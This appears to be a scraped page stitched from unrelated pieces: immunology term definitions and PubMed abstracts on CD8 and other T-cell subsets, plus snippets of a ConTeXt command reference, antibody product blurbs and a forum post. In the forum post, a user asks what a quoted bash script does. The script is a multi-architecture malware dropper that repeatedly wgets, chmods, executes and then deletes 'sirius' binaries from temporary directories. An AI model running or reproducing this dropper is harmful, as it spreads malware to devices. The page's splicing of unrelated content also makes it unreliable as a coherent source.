Immunologic techniques based on the use of: (1) enzyme-antibody conjugates; (2) enzyme-antigen conjugates; (3) antienzyme antibody followed by its homologous enzyme; or (4) enzyme-antienzyme complexes. These are used histologically for visualizing or labeling tissue specimens.
Immunoglobulin molecules having a specific amino acid sequence by virtue of which they interact only with the ANTIGEN (or a very similar shape) that induced their synthesis in cells of the lymphoid series (especially PLASMA CELLS).
The phenotypic manifestation of a gene or genes by the processes of GENETIC TRANSCRIPTION and GENETIC TRANSLATION.
A group of differentiation surface antigens, among the first to be discovered on thymocytes and T-lymphocytes. Originally identified in the mouse, they are also found in other species including humans, and are expressed on brain neurons and other cells.
Non-antibody proteins secreted by inflammatory leukocytes and some non-leukocytic cells, that act as intercellular mediators. They differ from classical hormones in that they are produced by a number of tissue or cell types rather than by specialized glands. They generally act locally in a paracrine or autocrine rather than endocrine manner.
The specific failure of a normally responsive individual to make an immune response to a known antigen. It results from previous contact with the antigen by an immunologically immature individual (fetus or neonate) or by an adult exposed to extreme high-dose or low-dose antigen, or by exposure to radiation, antimetabolites, antilymphocytic serum, etc.
Manifestations of the immune response which are mediated by antigen-sensitized T-lymphocytes via lymphokines or direct cytotoxicity. This takes place in the absence of circulating antibody or where antibody plays a subordinate role.
A single, unpaired primary lymphoid organ situated in the MEDIASTINUM, extending superiorly into the neck to the lower edge of the THYROID GLAND and inferiorly to the fourth costal cartilage. It is necessary for normal development of immunologic function early in life. By puberty, it begins to involute and much of the tissue is replaced by fat.
Endogenous tissue constituents that have the ability to interact with AUTOANTIBODIES and cause an immune response.
A group of genetically identical cells all descended from a single common ancestral cell by mitosis in eukaryotes or by binary fission in prokaryotes. Clone cells also include populations of recombinant DNA molecules all carrying the same inserted sequence. (From King & Stansfield, Dictionary of Genetics, 4th ed)
Nuclear antigens encoded by VIRAL GENES found in HUMAN HERPESVIRUS 4. At least six nuclear antigens have been identified.
A soluble substance elaborated by antigen- or mitogen-stimulated T-LYMPHOCYTES which induces DNA synthesis in naive lymphocytes.
A class of immunoglobulin bearing mu chains (IMMUNOGLOBULIN MU-CHAINS). IgM can fix COMPLEMENT. The name comes from its high molecular weight and originally being called a macroglobulin.
A cell line derived from cultured tumor cells.
Measurable and quantifiable biological parameters (e.g., specific enzyme concentration, specific hormone concentration, specific gene phenotype distribution in a population, presence of biological substances) which serve as indices for health- and physiology-related assessments, such as disease risk, psychiatric disorders, environmental exposure and its effects, disease diagnosis, metabolic processes, substance abuse, pregnancy, cell line development, epidemiologic studies, etc.
A sex-specific cell surface antigen produced by the sex-determining gene of the Y chromosome in mammals. It causes syngeneic grafts from males to females to be rejected and interacts with somatic elements of the embryologic undifferentiated gonad to produce testicular organogenesis.
A cell adhesion molecule of the immunoglobulin superfamily that is expressed in ENDOTHELIAL CELLS and is involved in INTERCELLULAR JUNCTIONS.
Antigens stimulating the formation of, or combining with heterophile antibodies. They are cross-reacting antigens found in phylogenetically unrelated species.
CD4-positive T cells that inhibit immunopathology or autoimmune disease in vivo. They inhibit the immune response by influencing the activity of other cell types. Regulatory T-cells include naturally occurring CD4+CD25+ cells, IL-10 secreting Tr1 cells, and Th3 cells.
Antibodies obtained from a single clone of cells grown in mice or rats.
Antigenic determinants recognized and bound by the T-cell receptor. Epitopes recognized by the T-cell receptor are often located in the inner, unexposed side of the antigen, and become accessible to the T-cell receptors after proteolytic processing of the antigen.
The major interferon produced by mitogenically or antigenically stimulated LYMPHOCYTES. It is structurally different from TYPE I INTERFERON and its major activity is immunoregulation. It has been implicated in the expression of CLASS II HISTOCOMPATIBILITY ANTIGENS in cells that do not normally produce them, leading to AUTOIMMUNE DISEASES.
A heterodimeric protein that is a cell surface antigen associated with lymphocyte activation. The initial characterization of this protein revealed one identifiable heavy chain (ANTIGENS, CD98 HEAVY CHAIN) and an indeterminate smaller light chain. It is now known that a variety of light chain subunits (ANTIGENS, CD98 LIGHT CHAINS) can dimerize with the heavy chain. Depending upon its light chain composition a diverse array of functions can be found for this protein. Functions include: type L amino acid transport, type y+L amino acid transport and regulation of cellular fusion.
The hepatitis B antigen within the core of the Dane particle, the infectious hepatitis virion.
Members of the class of compounds composed of AMINO ACIDS joined together by peptide bonds between adjacent amino acids into linear, branched or cyclical structures. OLIGOPEPTIDES are composed of approximately 2-12 amino acids. Polypeptides are composed of approximately 13 or more amino acids. PROTEINS are linear polypeptides that are normally synthesized on RIBOSOMES.
The complex formed by the binding of antigen and antibody molecules. The deposition of large antigen-antibody complexes leading to tissue damage causes IMMUNE COMPLEX DISEASES.
They are oval or bean shaped bodies (1 - 30 mm in diameter) located along the lymphatic system.
The sum of the weight of all the atoms in a molecule.
Technique involving the diffusion of antigen or antibody through a semisolid medium, usually agar or agarose gel, with the result being a precipitin reaction.
A group of the D-related HLA antigens found to differ from the DR antigens in genetic locus and therefore inheritance. These antigens are polymorphic glycoproteins comprising alpha and beta chains and are found on lymphoid and other cells, often associated with certain diseases.
Immunoglobulins produced in response to VIRAL ANTIGENS.
The intracellular transfer of information (biological activation/inhibition) through a signal pathway. In each signal transduction system, an activation/inhibition signal from a biologically active molecule (hormone, neurotransmitter) is mediated via the coupling of a receptor/enzyme to a second messenger system or to an ion channel. Signal transduction plays an important role in activating cellular functions, cell differentiation, and cell proliferation. Examples of signal transduction systems are the GAMMA-AMINOBUTYRIC ACID-postsynaptic receptor-calcium ion channel system, the receptor-mediated T-cell activation pathway, and the receptor-mediated activation of phospholipases. Those coupled to membrane depolarization or intracellular release of calcium include the receptor-mediated activation of cytotoxic functions in granulocytes and the synaptic potentiation of protein kinase activation. Some signal transduction pathways may be part of larger signal transduction pathways; for example, protein kinase activation is part of the platelet activation signal pathway.
Genetically identical individuals developed from brother and sister matings which have been carried out for twenty or more generations, or by parent x offspring matings carried out with certain restrictions. All animals within an inbred strain trace back to a common ancestor in the twentieth generation.
A glycolipid, cross-species antigen that induces production of antisheep hemolysin. It is present on the tissue cells of many species but absent in humans. It is found in many infectious agents.
Elements of limited time intervals, contributing to particular results or situations.
The species Oryctolagus cuniculus, in the family Leporidae, order LAGOMORPHA. Rabbits are born in burrows, furless, and with eyes and ears closed. In contrast with HARES, rabbits have 22 chromosome pairs.
An inhibitory B7 antigen that has specificity for the T-CELL receptor PROGRAMMED CELL DEATH 1 PROTEIN. CD274 antigen provides negative signals that control and inhibit T-cell responses and is found at higher than normal levels on tumor cells, suggesting its potential role in TUMOR IMMUNE EVASION.
Serologic tests based on inactivation of complement by the antigen-antibody complex (stage 1). Binding of free complement can be visualized by addition of a second antigen-antibody system such as red cells and appropriate red cell antibody (hemolysin) requiring complement for its completion (stage 2). Failure of the red cells to lyse indicates that a specific antigen-antibody reaction has taken place in stage 1. If red cells lyse, free complement is present indicating no antigen-antibody reaction occurred in stage 1.
A species of POLYOMAVIRUS originally isolated from Rhesus monkey kidney tissue. It produces malignancy in human and newborn hamster kidney cell cultures.
Conjugated protein-carbohydrate compounds including mucins, mucoid, and amyloid glycoproteins.
Substances that augment, stimulate, activate, potentiate, or modulate the immune response at either the cellular or humoral level. The classical agents (Freund's adjuvant, BCG, Corynebacterium parvum, et al.) contain bacterial antigens. Some are endogenous (e.g., histamine, interferon, transfer factor, tuftsin, interleukin-1). Their mode of action is either non-specific, resulting in increased immune responsiveness to a wide variety of antigens, or antigen-specific, i.e., affecting a restricted type of immune response to a narrow group of antigens. The therapeutic efficacy of many biological response modifiers is related to their antigen-specific immunoadjuvanticity.
Antigens that exist in alternative (allelic) forms in a single species. When an isoantigen is encountered by species members who lack it, an immune response is induced. Typical isoantigens are the BLOOD GROUP ANTIGENS.
Cells artificially created by fusion of activated lymphocytes with neoplastic cells. The resulting hybrid cells are cloned and produce pure MONOCLONAL ANTIBODIES or T-cell products, identical to those produced by the immunologically competent parent cell.
A melanosome-associated protein that plays a role in the maturation of the MELANOSOME.
The genetic region which contains the loci of genes which determine the structure of the serologically defined (SD) and lymphocyte-defined (LD) TRANSPLANTATION ANTIGENS, genes which control the structure of the IMMUNE RESPONSE-ASSOCIATED ANTIGENS, HUMAN; the IMMUNE RESPONSE GENES which control the ability of an animal to respond immunologically to antigenic stimuli, and genes which determine the structure and/or level of the first four components of complement.
Bone marrow-derived lymphocytes that possess cytotoxic properties, classically directed against transformed and virus-infected cells. Unlike T CELLS; and B CELLS; NK CELLS are not antigen specific. The cytotoxicity of natural killer cells is determined by the collective signaling of an array of inhibitory and stimulatory CELL SURFACE RECEPTORS. A subset of T-LYMPHOCYTES referred to as NATURAL KILLER T CELLS shares some of the properties of this cell type.
A technique that combines protein electrophoresis and double immunodiffusion. In this procedure proteins are first separated by gel electrophoresis (usually agarose), then made visible by immunodiffusion of specific antibodies. A distinct elliptical precipitin arc results for each protein detectable by the antisera.
Form of passive immunization where previously sensitized immunologic agents (cells or serum) are transferred to non-immune recipients. When transfer of cells is used as a therapy for the treatment of neoplasms, it is called adoptive immunotherapy (IMMUNOTHERAPY, ADOPTIVE).

Development and function of autospecific dual TCR+ T lymphocytes. (1/2820)

Recent studies have challenged the long held concept that each T lymphocyte expresses on its surface only a single, unique alphabetaTCR. Dual TCR+ T cells have been recognized, however, their origin and potential to escape screening for self-reactivity remain obscure. We now report the thymic generation of dual alphabetaTCR+ T cells in the H-2Db/H-Y-specific TCR transgenic (Tg) mouse. Dual TCR+ thymocytes were positively selected less efficiently than single TCR+ thymocytes, although a subset attained maturity. Importantly, when TCR Tg mice were bred onto a negatively selecting background, auto-specific cells survived central deletion and matured as CD4+ dual TCR+ cells. These cells were autoreactive when CD8 expression was restored. The existence of autospecific, dual TCR+ T cells may have implications for the maintenance of self tolerance.  (+info)

Differential effects of manipulating signaling in early T cell development in intestinal intraepithelial lymphocytes and thymocytes. (2/2820)

A pre-TCR-CD3 signal is required for the efficient maturation of CD4- CD8- thymocytes to the CD4+ CD8+ stage. This study addressed whether a similar signal is required for maturation of intestinal intraepithelial lymphocytes (IEL) that may develop extrathymically. We have shown previously that IEL from mice deficient for CD3- associated zeta chains include an immature population of CD3- CD8alphaalpha+ cells expressing cytoplasmic TCR beta chains but lacking detectable surface TCRalphabeta, CD16 and B220. Here we stimulated the appearance of such IEL in epsilon+/- zeta-/- mice by expression of an activated Lck transgene or in vivo treatment with anti-CD3epsilon. Anti-CD3epsilon treatment of RAG-deficient animals also yielded CD16- B220- IEL. In contrast, expression of a TCRbeta transgene in rag-1(-/-) mice did not stimulate the appearance of CD3- CD8alphaalpha+ CD16- B220- cells. Taken together these data indicate that although anti-CD3epsilon treatment and LckF505 assist in catalyzing a CD16+ B220+ --> CD16- B220- transition, these manipulations are not equivalent to a pre-TCR signal in IEL lymphocytes.  (+info)

T cell receptor and coreceptor CD8 alphaalpha bind peptide-MHC independently and with distinct kinetics. (3/2820)

The T cell surface glycoprotein CD8 enhances T cell antigen recognition by binding to MHC class I molecules. We show that human CD8 alphaalpha binds to the MHC class I molecule HLA-A2 with an extremely low affinity (Kd approximately 0.2 mM at 37 degrees C) and with kinetics that are between 2 and 3 orders of magnitude faster than reported for T cell receptor/peptide-MHC interactions. Furthermore, CD8 alphaalpha had no detectable effect on a T cell receptor (TCR) binding to the same peptide-MHC class I complex. These binding properties provide an explanation as to why the CD8/MHC class I interaction is unable to initiate cell-cell adhesion and how it can enhance TCR recognition without interfering with its specificity.  (+info)

Oligoclonality of rat intestinal intraepithelial T lymphocytes: overlapping TCR beta-chain repertoires in the CD4 single-positive and CD4/CD8 double-positive subsets. (4/2820)

Previous studies in humans and mice have shown that gut intraepithelial lymphocytes (IELs) express oligoclonal TCR beta-chain repertoires. These studies have either employed unseparated IEL preparations or focused on the CD8+ subsets. Here, we have analyzed the TCR beta-chain repertoire of small intestinal IELs in PVG rats, in sorted CD4+ as well as CD8+ subpopulations, and important differences were noted. CD8alphaalpha and CD8alphabeta single-positive (SP) IELs used most Vbeta genes, but relative Vbeta usage as determined by quantitative PCR analysis differed markedly between the two subsets and among individual rats. By contrast, CD4+ IELs showed consistent skewing toward Vbeta17 and Vbeta19; these two genes accounted collectively for more than half the Vbeta repertoire in the CD4/CD8 double-positive (DP) subset and were likewise predominant in CD4 SP IELs. Complementarity-determining region 3 length displays and TCR sequencing demonstrated oligoclonal expansions in both the CD4+ and CD8+ IEL subpopulations. These studies also revealed that the CD4 SP and CD4/CD8 DP IEL subsets expressed overlapping beta-chain repertoires. In conclusion, our results show that rat TCR-alphabeta+ IELs of both the CD8+ and CD4+ subpopulations are oligoclonal. The limited Vbeta usage and overlapping TCR repertoire expressed by CD4 SP and CD4/CD8 DP cells suggest that these two IEL populations recognize restricted intestinal ligands and are developmentally and functionally related.  (+info)

Reduced generation but efficient TCR beta-chain selection of CD4+8+ double-positive thymocytes in mice with compromised CD3 complex signaling. (5/2820)

Maturation to the CD4+8+ double-positive (DP) stage of thymocyte development is restricted to cells that have passed TCRbeta selection, an important checkpoint at which immature CD4-8- double-negative (DN) cells that express TCRbeta polypeptide chains are selected for further maturation. The generation of DP thymocytes following TCRbeta selection is dependent on cellular survival, differentiation, and proliferation, and the entire process appears to be mediated by the pre-TCR/CD3 complex. In this study, we investigate the signaling requirements for TCRbeta selection using mice single deficient and double deficient for CD3zeta/eta and/or p56lck. While the numbers of DP cells are strongly reduced in the single-deficient mice, a further drastic reduction in the generation of DP thymocytes is seen in the double-deficient mice. The poor generation of DP cells in the mutant mice is primarily due to an impaired ability of CD25+ DN thymocytes to proliferate following expression of a TCRbeta-chain. Nevertheless, the residual DP cells in all mutant mice are strictly selected for expression of TCRbeta polypeptide chains. DN thymocytes of mutant mice expressed TCRbeta and CD3epsilon at the cell surface and contained mRNA for pre-Talpha, but not for clonotypic TCRalpha-chains, together suggesting that TCRbeta selection is mediated by pre-TCR signaling in all cases. The data suggest differential requirements of pre-TCR signaling for cell survival on the one hand, and for the proliferative burst associated with TCRbeta selection on the other.  (+info)

Th1 and Th2 cytokine mRNA profiles in childhood nephrotic syndrome: evidence for increased IL-13 mRNA expression in relapse. (6/2820)

Idiopathic nephrotic syndrome of childhood is thought to be associated with T lymphocyte dysfunction often triggered by viral infections, with the production of circulating factor(s) resulting in proteinuria. In view of the conflicting evidence of T cell activation and Th1 or Th2 pattern of cytokine synthesis in this disease, this study examined the mRNA expression of interleukin-2 (IL-2), interferon-gamma, IL-4, and IL-13 from CD4+ and CD8+ T cells in steroid-responsive nephrotic patients in relapse and remission. Fifty-five children with steroid-responsive nephrotic syndrome were included in this study, together with 34 normal controls and 24 patient controls with viral infections. RNA was isolated from purified CD4+ or CD8+ cells from peripheral blood and subjected to reverse transcription-PCR. Cytokine mRNA expression was measured semiquantitatively, and a cytokine index was derived from densitometric readings, with cyclophilin as the housekeeping gene. Both cross-sectional and paired data showed an increased CD4+ and CD8+ IL-13 mRNA expression in patients with nephrotic relapse as compared to remission, normal, and patient controls (P < 0.008). This was also associated with increased cytoplasmic IL-13 expression in phorbol myristate acetate/ionomycin-activated CD3+ cells (6.66+/-3.39%) from patients with nephrotic relapse compared to remission (2.59+/-1.35%) (P < 0.0001). However, there was no significant difference in CD4+ or CD8+ IL-2, interferon-gamma and IL-4 mRNA expression. IL-13 is an important T cell cytokine with anti-inflammatory and immunomodulatory functions on B cells and monocytes. It is conceivable that IL-13 may act on monocytes to produce vascular permeability factor(s) involved in the pathogenesis of proteinuria in patients with relapse nephrotic syndrome.  (+info)

Functional differences between memory and naive CD8 T cells. (7/2820)

To determine how murine memory and naive T cells differ, we generated large numbers of long-lived memory CD8(+) T cells and compared them to naive cells expressing the same antigen-specific receptor (T cell receptor; TCR). Although both populations expressed similar levels of TCR and CD8, on antigen stimulation in vitro memory T cells down-regulated their TCR faster and more extensively and secreted IFN-gamma and IL-2 faster than naive T cells. Memory cells were also larger, and when freshly isolated from mice they contained perforin and killed target cells without having to be restimulated. They further differed from naive cells in requiring IL-15 for proliferation and in having a greater tendency to undergo apoptosis in vitro. On antigen stimulation in vivo, however, they proliferated more rapidly than naive cells. These findings suggest that, unlike naive T cells, CD8 memory T cells are intrinsically programmed to rapidly express their effector functions in vivo without having to undergo clonal expansion and differentiation.  (+info)

Demonstration of bovine CD8+ T-cell responses to foot-and-mouth disease virus. (8/2820)

The aim of this study was to investigate the importance of cellular immunity in foot-and-mouth disease in cattle, in particular to determine whether a CD8+ T-cell response could be detected, as these cells may play a role in both immunity and virus persistence. As attempts to characterize classical cytotoxic T cells had yielded non-reproducible results, largely due to high backgrounds in control cultures, a proliferation assay was developed that was demonstrated to detect antigen-specific, MHC class I-restricted bovine CD8+ cells responding to foot-and-mouth disease virus (FMDV). Proliferative CD8+ T-cell responses were detected consistently from 10 to 14 days following infection with FMDV and typically lasted 3-4 weeks. The role of CD8+ T cells in control of the disease, in particular their relevance for the establishment of persistence, may now be investigated.  (+info)

CD1c-dependent self-reactive T cells are abundant in the blood of healthy neonates and adults (17, 18), but the endogenous lipid antigens that are presented by CD1c to these T cells have remained unknown. Guided by the new CD1c-SL structure presented here, we now find that CD1c can bind CE and ASG, and that both these ligand classes enable the binding of self-reactive T-cell receptors to CD1c. Two previous CD1c structures, CD1c-PM and CD1c-MPM, had revealed how CD1c binds and presents methylated monoalkyl chain ligands such as mycobacterial mycoketides (7, 12). In both CD1c-PM and CD1c-MPM a single mycoketide molecule was bound to the A′ channel, in analogy to the arrangement seen for the stearic acid in CD1c-SL. Together CD1c-SL, CD1c-PM, and CD1c-MPM thus illustrate a certain promiscuity of the A′ channel, which is the most conserved region of the CD1 groove for ligand binding.. CD1c-PM and CD1c-MPM complexes are exclusively recognized by mycoketide-specific human T cells, but not by CD1c ...
Peripheral blood lymphocytes expressing CD8 and CD57 determinants are a small (1-15%) subset in healthy humans. CD8+, CD57+ peripheral blood lymphocytes may be divided by the level of CD8 expression, into CD8+high (CD57+) T-cells and CD8+low (CD57+) natural killer (NK) cells. CD8+high (CD57+) T-cell numbers are increased in human cytomegalovirus (HCMV)-seropositive subjects, and there is substantial evidence that HCMV is integral in the development of this subset in health and disease. Furthermore, the CD8+high (CD57+) subset is clonally derived, expressing a limited range of T-cell receptors, and are therefore likely to have restricted antigen specificity. Functionally, CD8+low(CD57+) cells exhibit NK activity, while CD8+high(CD57+) T-cells from healthy subjects mediate contact-dependent suppression in several in vitro systems including: (i) pokeweed mitogen-induced proliferation and immunoglobulin synthesis, and (ii) generation of antiviral MHC-restricted cytotoxic T-lymphocytes. This is ...
In this communication, we have addressed the origin and phenotype of human TCR-αβ+ DN T cells. The evidence presented demonstrates that they can derive from CD8+ T cells which undergo a phenotypic transformation that involves the down-regulation of CD8 as well as the acquisition of a distinct effector phenotype characterized by the production of proinflammatory cytokines. These cells, considered important in the pathogenesis of SLE, might represent an alternative differentiation pathway, which activated CD8 cells follow.. The origin of TCR-αβ+ CD4− CD8− T cells, a component of DN T cells, has been debated. Conflicting data obtained from Vβ and Vα gene usage studies probably reflect the heterogeneity of DN T cells and differences in the composition of the analyzed cells (25, 26, 19, 27, 28). Our results demonstrate that a considerable proportion of CD8 T cells lose the expression of the CD8 coreceptor in a process regulated at the transcriptional level. These results are congruent with ...
Expressed immune markers combinations for CD4+/CD8+ T cells included CD40-L, IL-2, TNF-α, IFN-γ, IL-17 and IL-13, as follows: M15=CD4.CD40L(+)+IL-2(+)+TNF-α(-)+IFN-γ(-)+IL-17(-)+IL-13(+); M16=CD4.CD40L(+)+IL-2(+)+TNF-α(-)+IFN-γ(-)+IL-17(-)+IL-13(-); M17=CD4.CD40L(+)+IL-2(-)+TNF-α(+)+IFN-γ(+)+IL-17(+)+IL-13(+); M18=CD4.CD40L(+)+IL-2(-)+TNF-α(+)+IFN-γ(+)+IL-17(+)+IL-13(-); M19=CD4.CD40L(+)+IL-2(-)+TNF-α(+)+IFN-γ(+)+IL-17(-)+IL-13(+); M20=CD4.CD40L(+)+IL-2(-)+TNF-α(+)+IFN-γ(+)+IL-17(-)+IL-13(-); M21=CD4.CD40L(+)+IL-2(-)+TNF-α(+)+IFN-γ(-)+IL-17(+)+IL-13(+); M22=CD4.CD40L(+)+IL-2(-)+TNF-α(+)+IFN-γ(-)+IL-17(+)+IL-13(-); M23=CD4.CD40L(+)+IL-2(-)+TNF-α(+)+IFN-γ(-)+IL-17(-)+IL-13(+); M24=CD4.CD40L(+)+IL-2(-)+TNF-α(+)+IFN-γ(-)+IL-17(-)+IL-13(-); M25=CD4.CD40L(+)+IL-2(-)+TNF-α(-)+IFN-γ(+)+IL-17(+)+IL-13(+); M26=CD4.CD40L(+)+IL-2(-)+TNF-α(-)+IFN-γ(+)+IL-17(+)+IL-13(-); M27=CD4.CD40L(+)+IL-2(-)+TNF-α(-)+IFN-γ(+)+IL-17(-)+IL-13(+); ...
Su, J., and J. Forman. CD8 T cells in MHC class Ia-deficient mice. AAI, Denver, CO, 2003. Su, J., R. E. Berg, S. Murry, and J. Forman. Thymus dependent MHC non class Ia selected memory phenotype CD8 T cells from naïve mice provide rapid protection against infection. AAI, San Diego, CA, 2005. xiii List of Figures 1. An elevated percentage of CD8 T cells in DKO are CD8?+CD8?-………………………….50 2. There are less CD8??CD44hi cells and similar CD8?? cells in DKO mice compared to B6 mice…………………………………………………………………………………………..52 3. A significant portion of CD8?? T cells in DKO mice is CD44hiCD122+Ly6C+ and CD62Llo……………………………………………………………………………...............53 4. Expression of NK cell markers by CD8??CD44hi cells from naïve B6 and DKO mice ………………………………………………………………………………………………..55 5. ...
Hello people of the malwarebytes forums. Im a new linux user and Ive ran into this from a site. I dont really know what it does. So if someone could shed some light on it would be greatly appreciated #!/bin/bash cd /tmp ,, cd /var/run ,, cd /mnt ,, cd /root ,, cd /; wget; chmod +x sirius.mips; ./sirius.mips; rm -rf sirius.mips cd /tmp ,, cd /var/run ,, cd /mnt ,, cd /root ,, cd /; wget; chmod +x sirius.mpsl; ./sirius.mpsl; rm -rf sirius.mpsl cd /tmp ,, cd /var/run ,, cd /mnt ,, cd /root ,, cd /; wget; chmod +x sirius.sh4; ./sirius.sh4; rm -rf sirius.sh4 cd /tmp ,, cd /var/run ,, cd /mnt ,, cd /root ,, cd /; wget; chmod +x sirius.x86; ./sirius.x86; rm -rf sirius.x86 cd /tmp ,, cd /var/run ,, cd /mnt ,, cd /root ,, cd /; wget; chmod +x sirius.arm6; ./sirius.arm6; rm -rf sirius.arm6 cd /tmp ,, cd /var/run ,, cd /mnt ,, cd /root ,, ...
Clone REA1226 recognizes the murine CD18 antigen, a 95 kDa glycoprotein also known as integrin beta-2 (ITGB2). CD18 associates non-covalently with CD11a, CD11b, and CD11c to form LFA-1, Mac-1, and gp150/95, respectively and plays an important role in leukocytes adhesion. It is expressed on all leukocytes with NK and T cells showing higher density of surface expression. The CD18 integrin complexes bind CD54 (ICAM-1), CD102 (ICAM-2), CD50 (ICAM-3), iC3b, and fibrinogen. Heterodimers of CD18 with α subunits show different expression patterns on different leucocytes. Mice leucocytes lacking CD18 or expressing dysfunctional CD18 are defective in chemotaxis, phagocytosis, and homotypic aggregation. Additional information: Clone REA1226 displays negligible binding to Fc receptors. - Schweiz
Human mucosal associated invariant T (MAIT) CD8 + and Tc17 cells are important tissue-homing cell populations, characterized by high expression of CD161 ( ++) and type-17 differentiation, but their origins and relationships remain poorly defined. By transcriptional and functional analyses, we demonstrate that a pool of polyclonal, precommitted type-17CD161 ++CD8αβ + T cells exist in cord blood, from which a prominent MAIT cell(TCR Vα7.2 +) population emerges postnatally. During this expansion, CD8αα T cells appear exclusively within aCD161 ++CD8 +/MAIT subset, sharing cytokine production, chemokine-receptor expression, TCR-usage, and transcriptional profiles with their CD161 ++CD8αβ + counterparts. Our data demonstrate the origin and differentiation pathway of MAIT-cells from a naive type-17 precommitted CD161 ++CD8 +T-cell pool and the distinct phenotype and function of CD8αα cells in man. © 2012 by The American Society of Hematology.
cd:commandgroup name=blank xmlns:cd=> ,cd:shortdesc>The command ,tt>\blank,/tt> is used for inserting vertical blank space. ,/cd:shortdesc> ,cd:variants> ,cd:command category=whitespace file=spac-ver.mkiv interfacedate=2019-11-19T09:54 interfacefile=i-vspace.xml level=document name=blank variantnumber=1> ,cd:arguments> ,cd:keywords list=yes optional=yes ordinal=1> ,cd:keywordsdoc>The first set of options are behaviour modifiers. Starting with ,cd:iref name=default/> there are size options.,/cd:keywordsdoc> ,cd:constant type=preference>good break (shortcut for ,code>penalty:-500,/code>),/cd:constant> ,cd:constant type=samepage>no break (shortcut for ,code>penalty:10000,/code>) ,/cd:constant> ,cd:constant type=max>only if larger,/cd:constant> ,cd:constant type=force>force even if smaller,/cd:constant> ,cd:constant type=enable>,/cd:constant> ,cd:constant type=disable>ignore following,/cd:constant> ,cd:constant ...
TY - JOUR. T1 - Comparable impact of mutational and selective influences in shaping the expressed repertoire of peripheral IgM+/CD5- and IgM+/CD5+ B cells. AU - Dörner, Thomas. AU - Brezinschek, Hans Peter. AU - Foster, Sandra J.. AU - Brezinschek, Ruth I.. AU - Farner, Nancy L.. AU - Lipsky, Peter E.. PY - 1998/2. Y1 - 1998/2. N2 - Somatic hypermutation and subsequent selection play a significant role in shaping the peripheral B cell repertoire. This repertoire is composed of CD5+ (5%) and CD5- B cells (95%) which are known to traffic through different lymphoid compartments. Previous studies have shown that V(H) gene usage by CD5+ and CD5- B cells is similar, although mutations are more frequent in the latter. However, the effect of mutation and subsequent selection on the expressed V(H) repertoire of CD5+ and CD5- B cells has not been delineated in detail. This study, therefore, analyzed the mutational pattern of individual IgM+/CD5+ and IgM+/CD5- B cells. In both populations, mutations can ...
View R&D Systems research products for *8145-CD OR *6177-CD OR *3899-CD OR *2724-CD OR *3355-CD OR *2640-LM OR *1186-LM OR *1859-DC OR *1756-DC OR *1180-SE OR *954-SE OR *9168-SE OR *3384-B6 OR *3384-B6 OR *611-B6 OR *5668-A4 OR *6054-A4 OR *5397-A3 OR *8615-A3 OR *2319-L3 OR *3328-L3 OR *981-TR OR *546-TR OR *7579-CD
cd200 rpe mouse anti rat cd200 rpe | order cd200 rpe mouse anti rat cd200 rpe | How to use: cd200 rpe mouse anti rat cd200 rpe | support help for cd200 rpe mouse anti
Clone TB03 specifically recognizes human CD57. CD57, also known as HNK-1 or Leu-7, is an antigenic oligosaccharide moiety detected on extracellular proteins of certain cell types. In blood, CD57 is found on 15-20% of mononuclear cells, including subsets of natural killer (NK) and T cells, though not on erythrocytes, monocytes, granulocytes, or platelets. Also, CD57 expression can be found on a variety of neural cell types. CD57 has been shown to be expressed on late stage effector CD8+ T cells. The frequency of CD57+ T lymphocytes is raised in a variety of diseases. CD57 expression is also increased on chronically activated CD8+ T cells in persistent viral infections, such as HIV. - Belgique
APC anti-human Lineage Cocktail (CD3, CD14, CD19, CD20, CD56) - This anti-Human Lineage Cocktail is optimized for the detection of human lymphocytes, monocytes, eosinophils, and neutrophils.
CD25− CD45RBlow as well as CD25+ CD45RBlow CD4+ cells from infected WT mice protect RAG KO mice against colitis. Infected RAG KO mice were given either no cel
Research in the past few years has documented significant advances in our understanding of the CD40-CD40 ligand (CD154) system in diverse immune functions. This system influences many T cell mediated inflammatory immune responses and effector functions, unmasking a previously unexpected role for CD40-CD154 in cell mediated immunity. Manipulation of CD154 in animal models of infection by the use of CD154-deficient mice or anti-CD154 antibodies has shown the importance of this system in the initiation of the inflammatory response, in the activation of antigen-presenting cells and in resistance to infections ...
Resumo: CD80 e CD86, também denominados B7.1 e B7.2, são genes proximamente ligados no cromossomo 3 que codificam glicoproteinas da superfamília das imunoglobulinas, expressas na superfície das células apresentadoras de antígeno. Essas moléculas participam na ativação e inibição das células T através da ligação aos receptores CD28 e CTLA-4. Nesse estudo foram analizados polimorfismos dos genes CD80 e CD86 com o objetivo de investigar a diversidade genética, microevolução e relevância funcional. Foram genotipados 1.124 indivíduos, incluindo brasileiros de ancestralidade predominantemente européia, mista africana e européia e japonesa, 5 populações ameríndias e africanos. As regiões promotoras de CD80 e CD86 foram sequenciadas e utilizadas em ensaios de gene repórter com luciferase em células HEK293T. As proteínas foram quantificadas por citometria de fluxo em monócitos, estimulados com quatro ligantes de TLR, de indivíduos com diferentes genótipos. Sítios de ...
Dear Ralph, I appreciate your questions and I think thay are valid and worth exploring. However, I think that I must clarify my point a bit. I am not implying that the CD8 cells are the worst hit by the virus. (Forgive the sensationalism of my first posting... this was meant to call attention to my article) Of course the CD4 cells are the worst hit because they carry the CD4 antigen constantly, thus their name. What I _am_ implying is that the CD8 cells must also be effected by the virus due to their positivity for CD4 during their development. Since CTL (the cells responsible for killing virally infected cells) are CD8 cells, any effects (quantitative or qualitative) on this compartment must be important in the pathogenisis of a viral disease. McMichael et al have reported that CTL response to viral peptide epitopes in the MHC class molecule dissipate at the end stage of HIV disease. This could be explained by the slow and steady exhaustion of CD8 precursers via infection by HIV when these ...
DC-expanded CD25+ CD4+ T cells suppress proliferation better than unexpanded CD25+ CD4+ T cells. (A) CD25+ CD4+ T cells from NOD.BDC2.5 mice were expanded for 7
CD4 receptor - MedHelps CD4 receptor Center for Information, Symptoms, Resources, Treatments and Tools for CD4 receptor. Find CD4 receptor information, treatments for CD4 receptor and CD4 receptor symptoms.
Figure 9 :Phenotype assessed by FACS assay following attempts at differentiation in induction medium A: Fibroblast X-axis CD45-PerCp; Y-axis CD10-FITC (CD45+CD10+31% UR quadrant and CD45-CD10+ 66% LR quadrant) 28% and 51% respectively. B: X-axis SP-C-FITC. Lung lineage specific lineages (SP-C+) ,2% (UL quadrant). C: X- axis CD45-PerCp. Hematopoietic lineage (pan-hematopoietic lineage negative). D: CD81+CD47+ (LR 67.5%) Fibroblast specific markers. E: R2 is CD45- gated SP-C+ (UR 1.34%). F: R2 is CD45- gated AQP-1+ (UR 0.67%). G: R5 is CD45- gated AQP-5+ (UR 0.67%). H: R5 is CD45- gated TTF-1+ (UR 0.31 ...
